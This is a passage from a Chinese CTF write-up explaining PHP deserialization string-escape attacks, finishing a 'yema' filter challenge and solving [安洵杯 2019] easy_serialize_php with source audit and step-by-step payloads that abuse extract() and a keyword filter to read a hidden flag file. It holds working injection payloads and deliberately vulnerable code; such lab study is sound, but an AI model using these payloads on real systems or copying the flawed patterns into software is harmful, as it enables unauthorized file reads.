$after = unserialize($data);

if ($after->lover == "yema") {
    echo "Oh, yema loves you, too! Here's your flag!".$flag;
}
else {
    echo ">_<, please love yema!";
}
?> lover too short

这道题中序列化字符串中包含的 yema 会被 filter() 方法包含的返回 return str_replace("yema", "", $data); 直接删掉,所以可以控制传入变量 name 为大量的 yema ,然后让第二个变量 lover 前半部分为一些 字符,方便第一个变量中的 yema 被删除后顶入前面变量来顶替被删除的 yema ;然后后半部分利用双写绕过为 ";s:5:"lover";s:4:"yeyemama

假如 name 为 yemayemayemayema ; lover 为 aaaa";s:5:"lover";s:4:"yeyemama

<?php
class Person {
    public $name=yemayemayemayema;
    public $lover='aaaa";s:5:"lover";s:4:"yeyemama';
}
echo serialize(new Person());
?>

序列化后得到

O:6:"Person":2:{s:4:"name";s:16:"yemayemayemayema";s:5:"lover";s:31:"aaaa";s:5:"lover";s:4:"yeyemama";}

替换后为

O:6:"Person":2:{s:4:"name";s:16:"";s:5:"lover";s:31:"aaaa";s:5:"lover";s:4:"yema";}

我们希望第二个蓝色部分被完全顶入前面的变量 name 里,但是第二个蓝色部分长度为 24 ,超出前面的 16,还差 8 个长度,则在变量 name 里再加两个 yema 即可。

payload:

name=yemayemayemayemayemayema&lover=aaaa";s:5:"lover";s:4:"yeyemama

实际序列化后为:

{s:4:"name";s:24:"yemayemayemayemayemayema";s:5:"lover";s:31:"aaaa";s:5:"lover";s:4:"yeyemama";}

替换后为:

{s:4:"name";s:24:"";s:5:"lover";s:31:"aaaa";s:5:"lover";s:4:"yema";}

Web8-e1 [安洵杯]-2019 easy_serialize_php

<?php

$function = @$_GET['f'];//获取 GET 请求的 f 参数

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');//定义了一个包含敏感关键词的数组
    $filter = '/'.implode('|',$filter_arr).'/i';
//将数组元素用|连接,形成字符串"php|flag|php5|php4|fl1g",
//前后加上'/'和末尾加上'/i',构建成正则表达式:'/php|flag|php5|php4|fl1g/i'
    return preg_replace($filter,'',$img);
//将所有匹配正则表达式的部分替换为空字符串
}

//如果 session 存在,使用 unset 销毁现有 session
if($_SESSION){
    unset($_SESSION);
}

//初始化 session 变量
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;//存储 function 到 session

extract($_POST);// 将POST参数转为变量,进行变量覆盖,可以通过POST传参改变$_SESSION值

// 如果 'f' 参数不存在,则显示一个源码链接
if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

//如果 GET 请求中没有 img_path 参数,
if(!$_GET['img_path']){
    // 设置默认的会话图片路径
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    // 将传入的 image_path 进行 base64 编码后再进行 sha1 哈希
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

// 对会话数据进行序列化,并使用过滤函数进行过滤
$serialize_info = filter(serialize($_SESSION));

// 执行不同功能
if($function == 'highlight_file'){
    // 高亮显示当前文件的源代码
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    //输出 php 配置信息
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    //反序列化过滤后的 $serialize_info
    $userinfo = unserialize($serialize_info);
    // 输出 base64 解码后的 image 内容
    echo file_get_contents(base64_decode($userinfo['img']));
}

代码审计:

分析 source.code 可知,有个 filter() 方法过滤掉一些关键字,如将 serialize($_SESSION) 变量中的 “php” “flag” “php5” “php4” “fl1g”过滤为空字符。

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}
$serialize_info = filter(serialize($_SESSION));

有个提示我们 phpinfo 里可能有什么东西:

暴露了一个可疑文件:d0g3_f1ag.php

想办法利用这个可疑文件,发现:

else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}

关键 echo file_get_contents(base64_decode($userinfo['img']));

我们可以构造 img 的值来输出我们所需的内容,

有两个方式可以更改 img 的值:
1.GET传参 img_path
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
但是传入的数据要经过 base64 加密和 sha1 加密,

但是 echo file_get_contents(base64_decode($userinfo['img']));只对base64解密,
所以这个方式不行。
2.POST传参修改$_SESSION['img']

extract($_POST);

同时也存在一个反序列化字符逃逸漏洞:

$serialize_info = filter(serialize($_SESSION));

构造 payload:

d0g3_f1ag.php 的 base64 编码为:ZDBnM19mMWFnLnBocA==


$_SESSION["user"] = 'guest';
$_SESSION['function'] = 'show_image';
$_SESSION['img']='ZDBnM19mMWFnLnBocA==';//d0g3_f1ag.php 的 base64 编码
'''
把这些用 post 传入即可进行覆盖原有 $_SESSION['image'] = ...
'''
if(!$_GET['img_path']){
    // 设置默认的会话图片路径
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    // 将传入的图片路径进行 base64 编码后再进行 sha1 哈希
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
'''
但是无论我们是否传入了 img 的值,if(!$_GET['img_path']) 都会强制初始化我们的 img 为默认的值,导致我们构造 session 失败
'''

突破点:

$serialize_info = filter(serialize($_SESSION));//对会话数据进行序列化,并使用过滤函数进行过滤

可以利用这里进行反序列化的字符逃逸。

我们想要成功访问 d0g3_f1ag.php ,

$userinfo = unserialize($serialize_info);
//就要让其反序列化出来的有 $_SESSION['img']='ZDBnM19mMWFnLnBocA==';
echo file_get_contents(base64_decode($userinfo['img']));

try:

<?php
$_SESSION["user"] = 'guest';
$_SESSION['function'] = 'a';
$_SESSION["img"] = 'ZDBnM19mMWFnLnBocA==';
echo serialize($_SESSION);
?>

序列化得到:

a:3:{s:4:"user";s:5:"guest";s:8:"function";s:1:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

可以拿到 $_SESSION["img"] = 'ZDBnM19mMWFnLnBocA=='; 序列化后的部分为绿色部分 s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

因为我们自己构造的 $_SESSION[‘img’] 会被强制覆盖掉,所以把它放到可控的 $_SESSION[‘function’] 内,

但是 $_SESSION[‘function’] 本身序列化后的内容 s:8:"function";s:1:"a"; 会和我们构造的冲突,利用前面的 $_SESSION[‘user’] 存放可被过滤的字符串,然后 filter 方法将这些字符串过滤后,s:8:"function";s:1:"a"; 将被顶入前面,然后我们的 s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}就逃逸出来了。

<?php
$_SESSION["user"] = 'guest';
$_SESSION['function'] = 'a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
$_SESSION["img"] = 'ZDBnM19mMWFnLnBocA==';
echo serialize($_SESSION);
?>

序列化得到:

a:3:{s:4:"user";s:5:"guest";s:8:"function";s:42:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

我们需要红色部分(长度为24)被顶入前面成为 user 的内容,给 user 赋值为 flag ,当它被 filter 吃掉时将有长度 4 的字符被顶入前面,所以可以构造 flagflagflagflagflagflag 这 6 个 flag 赋值给 user 刚好吃掉红色部分。

<?php
$_SESSION["user"] = 'flagflagflagflagflagflag';
$_SESSION['function'] = 'a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
$_SESSION["img"] = 'ZDBnM19mMWFnLnBocA==';
echo serialize($_SESSION);
?>

得到:

a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:42:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

被 filter 过滤后为:

a:3:{s:4:”user”;s:24:”“;s:8:”function”;s:42:”a“;s:3:”img”;s:20:”ZDBnM19mMWFnLnBocA==”;}“;s:3:”img”;s:20:”ZDBnM19mMWFnLnBocA==”;}

这样红色部分就被顶入成为了前面的 user 的值,但是因为提前闭合 ;} 后面内容被丢弃导致只剩下了两个变量 user 和 img ,和 a:3 不匹配,所以在 function 的值后面再添加一个变量 s:2:"aa";s:3:"aaa";

<?php
$_SESSION["user"] = 'flagflagflagflagflagflag';
$_SESSION['function'] = 'a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"aa";s:3:"aaa";}';
$_SESSION["img"] = 'ZDBnM19mMWFnLnBocA==';
echo serialize($_SESSION);

得到:

a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:61:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"aa";s:3:"aaa";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

最终传入 payload:

_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"aa";s:3:"aaa";}

提示我们 $flag = 'flag in /d0g3_fllllllag';

把 /d0g3_fllllllag base64加密后是 L2QwZzNfZmxsbGxsbGFn ,刚好是长度20 ,跟 d0g3_f1ag.php 加密后长度一样,可以直接在 payload 替换掉它的部分:

_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:2:"aa";s:3:"aaa";}

参考:

BUUCTF-Web-[安洵杯 2019]easy_serialize_php1 | 半枫

[安洵杯 2019]easy_serialize_php – DGhh – 博客园

上一篇
下一篇